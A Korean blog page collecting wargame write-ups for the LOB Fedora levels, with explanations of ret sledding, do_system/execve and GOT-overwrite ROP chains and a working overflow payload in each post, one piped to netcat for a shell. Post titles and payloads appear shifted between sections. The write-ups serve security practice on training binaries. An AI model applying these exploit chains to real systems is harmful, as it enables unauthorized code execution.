LOB_Fedora evil_wizard


GOT Overwrite 공격을 할 수 있는 c코드입니다


0x08048408이 printf@PLT의 주소입니다.


0x08048438이 strcpy@PLT의 주소입니다.


0x0804984c가 printf@GOT의 주소입니다.


0x007507c0가 system함수의 주소입니다.


/bin/sh의 주소를 찾기 위한 코드입니다.


0x00833603이 /bin/sh의 주소입니다.


0x080484f3이 pop-pop-ret 가젯의 시작 주소입니다.


objdump로 system함수 주소를 한글자씩 찾아보도록 하겠습니다.

c0가 들어있는 곳의 아무 주소를 사용합니다.

저는 0x080484d0 주소를 사용했습니다.


07이 들어있는 곳의 아무 주소를 사용합니다.

저는 0x0804817c 주소를 사용했습니다.


75가 들어있는 곳의 아무 주소를 사용합니다.

저는 0x080482b4 주소를 사용했습니다.


00이 들어있는 곳의 아무 주소를 사용합니다.

저는 0x08049804 주소를 사용했습니다.


원격 익스플로잇 코드입니다.



성공


payload : python code

'Wargame > LOB_Fedora' 카테고리의 다른 글

LOB_Fedora evil_wizard  (0) 2016.10.15
LOB_Fedora hell_fire  (0) 2016.10.15
LOB_Fedora dark_eyes  (0) 2016.10.12
LOB_Fedora iron_golem  (0) 2016.10.12
LOB_Fedara gate  (0) 2016.10.12

LOB_Fedora hell_fire


pop-pop-ret 가젯을 억지로 만들어줬네요.

사실 pop-pop-ret 가젯은 현재 거의 모든 컴파일러에서 자동적으로 만들어주지만, 이걸 컴파일했을 당시에는 아마 없어서 이렇게 직접 만들어준것 같습니다.


힌트에서 나온대로 GOT Overwrite라는 공격기법을 사용해서 공격을 하려고 합니다.

GOT Overwrite란 나중에 자세하게 포스팅 하겠지만 이전에 한번 호출한 함수는 got에 값이 저장되어 나중에는 _dl_runtime_resolve를 거치지 않고 got를 참조하여 바로 함수를 호출합니다.


GOT Overwrite의 payload 구성은 

buffer + dummy + 

Strcpy PLT + pop-pop-ret + printf GOT + system address[0] +

Strcpy PLT + pop-pop-ret + (printf GOT+1) + system address[1] +

Strcpy PLT + pop-pop-ret + (printf GOT+2) + system address[2] +

Strcpy PLT + pop-pop-ret + (printf GOT+3) + system address[3] +

printf PLT + AAAA + /bin/sh address

이렇게 생겼습니다.


dummy와 buffer는 0x118로 십진수로는 268만큼입니다.


strcpy가 호출되는 곳입니다.

거의 c코드의 순서를 보고 찾았습니다..

0x804894가 strcpy PLT주소입니다. 


printf가 호출되는 곳입니다.

이 또한 c코드의 순서를 보고 찾았습니다.

0x804824가 printf PLT주소입니다.


printf PLT주소에 가보면 GOT주소로 가는 jmp문이 보입니다.

0x8049884가 printf GOT의 주소입니다.


system address입니다.


/bin/sh의 주소를 찾기 위한 c코드입니다.


0x833603이 /bin/sh의 주소입니다.


pop-pop-ret 가젯의 주소입니다.


이제 objdump를 이용해서 system함수의 address를 한자리씩 구하면 됩니다.

c0가 들어있는 곳의 아무 주소를 사용하자.


07이 들어있는 곳의 아무 주소를 사용하자.


75가 들어있는 곳의 아무 주소를 사용하자.


00이 들어있는 곳의 아무 주소를 사용하자.



성공


payload : ./evil_wizard "`python -c 'print "A"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x54\x81\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\x1f\x81\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\x40\x98\x04\x08"+"\x24\x84\x04\x08"+"AAAA"+"\x03\x36\x83\x00"'`"

'Wargame > LOB_Fedora' 카테고리의 다른 글

LOB_Fedora evil_wizard  (0) 2016.10.15
LOB_Fedora hell_fire  (0) 2016.10.15
LOB_Fedora dark_eyes  (0) 2016.10.12
LOB_Fedora iron_golem  (0) 2016.10.12
LOB_Fedara gate  (0) 2016.10.12


LOB_Fedora dark_eyes


이번에는 execve라는 함수를 do_system이라는 함수를 이용해서 우회적으로 사용해 보려고 한다.


do_system의 함수주소이다.


do_system + 0부터 쭉 내려가보면 execve를 call하는 것이 보인다.

이 주소를 ret에 덮어 씌우면 된다. 사실상 /bin/sh를 실행하는 것이다.



성공


paylaod : (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat)|nc localhost 7777

'Wargame > LOB_Fedora' 카테고리의 다른 글

LOB_Fedora evil_wizard  (0) 2016.10.15
LOB_Fedora hell_fire  (0) 2016.10.15
LOB_Fedora dark_eyes  (0) 2016.10.12
LOB_Fedora iron_golem  (0) 2016.10.12
LOB_Fedara gate  (0) 2016.10.12

LOB_Fedora iron_golem


t

이번에도 ret sleding이 가능한 코드이다.


ret address


execve address


고정주소를 사용해야되므로 0x0083eff4를 사용하겠다.


0x0083eff4에 첫 값으로 심볼릭 링크에 이용할 것이다.


쉘을 따기 위한코드로 전보다 간략하게 짰다.

이 바이너리에 심볼릭 링크를 건다.


심볼릭 링크를 건다.


전과 같은 주소이기 때문에 전과 payload가 비슷하다.


성공


payload : ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a"'`


'Wargame > LOB_Fedora' 카테고리의 다른 글

LOB_Fedora evil_wizard  (0) 2016.10.15
LOB_Fedora hell_fire  (0) 2016.10.15
LOB_Fedora dark_eyes  (0) 2016.10.12
LOB_Fedora iron_golem  (0) 2016.10.12
LOB_Fedara gate  (0) 2016.10.12

걸려있는 BOF 보호 기법

1. Exec Shield : 스택에 있는 값을 실행할 수 없음 = NX Bit

2. ASLR : 스택의 주소값이 랜덤하게 바뀜 = 일정 주소를 잡고 공격할 수 없음

3. ASCII Armor : 주소값 앞에 항상 0x00이 붙어 함수 chaining 같은 공격을 할 수 없음


LOB_Fedora gate

코드는 엄청 쉬워보이지만 많은 보호 기법들 때문에 일반적으로 스택에 쉘코드를 올려서 공격할 수 없다.

그리고 ret sleding을 이용할 것이다. 힌트로 fEBP가 나왔지만 나는 어렵기 때문에 ret sleding이 된다길래 ret sleding을 이용할 것이다.

ret sleding의 구성은 buffer + dummy + ret address * 내가 움직이고 싶은 만큼의 수 + execve address이다.


쉘을 실행하는 코드를 짜서 이를 바이너리에서 함께 실행되도록 해보려고 한다.


ret sleding을 할 것이기 때문에 ret 주소를 구한다.


execve를 쓸 것이기 때문에 execve의 주소를 구해준다.


스택 내에서 변경되지 않는 값을 찾는데, execve를 이용하기 때문에 Null 값 앞에 있는 주소를 이용하도록 하겠다.


여기서 첫번째 값으로 심볼릭 링크를 거는데 이용할 것이다.


고정된 주소값을 찾아서 심볼릭 링크를 걸어주고 exploit을 하면



성공


payload : ./iron_golem `python -c 'print "A"*268+"\x41\x84\x04\x08"*3+"\x90\x54\x7a\x00"'`

'Wargame > LOB_Fedora' 카테고리의 다른 글

LOB_Fedora evil_wizard  (0) 2016.10.15
LOB_Fedora hell_fire  (0) 2016.10.15
LOB_Fedora dark_eyes  (0) 2016.10.12
LOB_Fedora iron_golem  (0) 2016.10.12
LOB_Fedara gate  (0) 2016.10.12

+ Recent posts